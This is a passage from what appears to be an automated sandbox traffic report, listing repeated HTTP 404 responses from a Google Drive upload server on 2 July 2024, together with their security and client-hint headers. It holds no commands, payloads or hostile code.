ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0NqZbGTKI7NPl2CG9mv_MEl7yd0TmKVw7-JxVwt-58cOfdrB8aPEl4KQO_fZGmhR1vfcLkhdyEURVQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:27 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-a-T4zE9cKFjSGMXrX7JDPQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NpUVMUdbztLVSQ7m7mrEIGog5Ar7xWuxOu_QMsj78GavUeu5GUoAfZcGUVoehwoKYHtbHbePRjRKAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:28 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fR-ApMskgTBFLtSq6sCb_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NqeN6Q4cT-zvrdPVy3snhenb7Dna7q2HehB5y46bz5vBA7IdDxbsvaaX34U1T-NfeyoWxIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:28 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-J1EF8EbxuretIqP9HY1t4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: ACJd0Nqkwod2GI1rEvL1pUygarQ45gBBvoToZhpZvGNv9f5z2dam5fVRcp0HYgnKMgPA1203X6sServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-kVDpRuKCD4uyuO0WUvhtDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0Nqf4Xf7TbVGyTmpmS6jUy7oOwqdZyFvU26b6o4sSmO6gkMLHzeIy1F1oMmXDnHFECUi4YAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:29 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-blvq0Cz9Ibl-rnmTliQcow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NrmlMPjateOnBoiprlBLO2a8AJlEaufhd__rfL658RGh_jF9ua7yxuUvjvcJnMfIDP-_XkServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:33 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-c_5y4Y0Lf2Rp-dq9AXCPJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: ACJd0NqW3G8dHkA1FBHS1uwDFkop-lfiHxzcliTjWvVPEKthxFl7pqihGQgb5IRf6l24kY96_aX9605MygServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:33 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-Z_comFUqJ7Xzw8Er5iZsvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NqCJ9hnVyLCfOc2Qy3PWaize7-8y2smhAIkcx0BeQja-m36-Nw_60zfNafuUIqHSPMnsWNvp9eG-wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:34 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6JhqyyozaqQAfPPyvHb86w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NoK2QvzEuzcJ3HE8WfNiOTcuxTayeiyOGwj9KKU2EH0W28TrovVdMiHLE2n6dvooPc0TlktjLy-LgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:36 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-LFtiodpXKCu1h31CpN-iSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0NpTn0hN5UTqxW0z_a8lgdpJ2_i4IFuK1-6SKJ0lmSUFH3U-7hVhjs-VzFCL9KW_mzX26Nsr0Mu7NQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:36 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-RCw0PqSvDk3TIVvm2KJuRA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0NpHnwrMyeiIEaGDnYysUriMvR4DYBPgTzzF2L3hiDu-k5yEDrDrnURj9iiE_WB_VKW_HgwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:37 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-6pXfD0g84yghekOISxDelw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0Nrt9m-1jFOYMKnkshATZSidTuvLSd5CMrE6Gut81FJMn1a559m_sJIr6WseUVBgkxuogHIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:38 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-KUYoDuJNS0F3Y8xM7eMdDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: ACJd0NrD3jAHuAPqJTrQALYZMSg6-PhMFVCeR3ciIqJDdd2ZXXkJs87Yhq0hgc_af3J0DP0xqPoServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:40 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-EbkfP9u4Vq-yZpzq-_Djkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: ACJd0NqwFDaLaxx8FYHMbgw3yLH-fhoxE4VV52E8qaOeg23FPcMAyA4qhOzPl4IXBd2dVYn2BgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:40 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-eY94xt3BZCEdHZyJSp9JZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0No98RWlRzMRK5gED_7lbzunIEd50U9VvzwSMd5t4L7G7nbKyjn0DBsl5mJdNnsy_lIXfNUServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-rEvFjCO2FNKLGjtGY8Y6bA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0Nrld67_aAVtJz1_Du_CPnw3HIVAcGhSRnIqlt1VJ65LklsGTDcbQfahkTIF6ioebjd1CEcbsqzNeAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:41 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2Jz4d6Qt33HPueKfi6qztg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0NpQpOQG7CGhN3_ya49SG2rth0th2_-kgzTl8jZK-mW9b4YzoaHDQWnw6USWSglYd6iLgS5x2kIgaQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:42 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-LupTqJQw3HlWzat2QzvmTw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0NpDd4tqHHaheh7yAxi4SfGZhN9Pn00FvcZuv9GKJikpDEowq1No-mABeFM4bJINSD5NggServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:42 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gYZHdWbq5A2RJc4E3R0mlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0No2EHOubJIn3YFoYe2sE91ou3Q3pcNmji4KfQXtpCLqBatOuJFfDeN7lvpQxt1N1zs522Maac29UQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:45 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_Y6qAiylT6xf8fDV6Fte9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: ACJd0NqgqRuATWkRMmymU7u7OWym97dVHafQSM41U-udIhRMYtjmeV2qL5aUjW5Jixv4ZcvoHc4Z_BX6FQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_BdP4Wt5sLb6aiL2xSyKIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: 